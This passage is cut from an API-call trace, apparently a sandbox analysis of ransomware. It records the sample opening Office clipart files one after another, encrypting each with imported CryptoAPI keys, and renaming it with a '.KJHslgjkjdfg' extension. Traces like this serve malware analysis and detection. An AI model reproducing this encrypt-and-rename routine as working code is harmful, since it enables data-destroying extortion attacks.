lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.460] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.460] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.461] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d5e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d5e, lpOverlapped=0x0) returned 1 [0249.461] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d60, dwBufLen=0x1d60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d60) returned 1 [0249.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.462] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d60, lpOverlapped=0x0) returned 1 [0249.462] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.462] SetEndOfFile (hFile=0x130) returned 1 [0249.465] GetProcessHeap () returned 0x2ef0000 [0249.465] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.465] GetProcessHeap () returned 0x2ef0000 [0249.465] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.kjhslgjkjdfg")) returned 1 [0249.466] CloseHandle (hObject=0x130) returned 1 [0249.467] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1 [0249.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.468] GetProcessHeap () returned 0x2ef0000 [0249.468] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.468] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.468] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.471] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.471] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.471] GetProcessHeap () returned 0x2ef0000 [0249.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.471] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.471] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.472] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.472] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.472] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.472] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.472] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x243c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x243c, lpOverlapped=0x0) returned 1 [0249.473] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2440, dwBufLen=0x2440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2440) returned 1 [0249.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.473] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2440, lpOverlapped=0x0) returned 1 [0249.474] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.474] SetEndOfFile (hFile=0x130) returned 1 [0249.477] GetProcessHeap () returned 0x2ef0000 [0249.477] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.477] GetProcessHeap () returned 0x2ef0000 [0249.477] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.kjhslgjkjdfg")) returned 1 [0249.479] CloseHandle (hObject=0x130) returned 1 [0249.479] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1 [0249.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.481] GetProcessHeap () returned 0x2ef0000 [0249.481] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.481] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.481] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0249.484] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.484] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.484] GetProcessHeap () returned 0x2ef0000 [0249.484] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.484] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.484] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.485] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x175a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x175a, lpOverlapped=0x0) returned 1 [0249.486] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760, dwBufLen=0x1760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760) returned 1 [0249.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.487] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1760, lpOverlapped=0x0) returned 1 [0249.487] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.487] SetEndOfFile (hFile=0x130) returned 1 [0249.490] GetProcessHeap () returned 0x2ef0000 [0249.490] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.490] GetProcessHeap () returned 0x2ef0000 [0249.490] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.kjhslgjkjdfg")) returned 1 [0249.492] CloseHandle (hObject=0x130) returned 1 [0249.492] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1 [0249.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.494] GetProcessHeap () returned 0x2ef0000 [0249.494] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.494] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.494] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0249.497] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.497] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.497] GetProcessHeap () returned 0x2ef0000 [0249.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.497] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.497] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.497] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.498] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.498] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.498] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.498] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.498] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.498] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c12, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c12, lpOverlapped=0x0) returned 1 [0249.499] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c20, dwBufLen=0x1c20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c20) returned 1 [0249.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.499] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c20, lpOverlapped=0x0) returned 1 [0249.499] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.499] SetEndOfFile (hFile=0x130) returned 1 [0249.502] GetProcessHeap () returned 0x2ef0000 [0249.502] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.502] GetProcessHeap () returned 0x2ef0000 [0249.502] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.kjhslgjkjdfg")) returned 1 [0249.504] CloseHandle (hObject=0x130) returned 1 [0249.504] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1 [0249.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.506] GetProcessHeap () returned 0x2ef0000 [0249.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.506] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.506] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.508] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.508] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.508] GetProcessHeap () returned 0x2ef0000 [0249.508] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.508] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.508] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.509] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.509] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.509] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.509] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.509] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.509] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1224, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1224, lpOverlapped=0x0) returned 1 [0249.510] 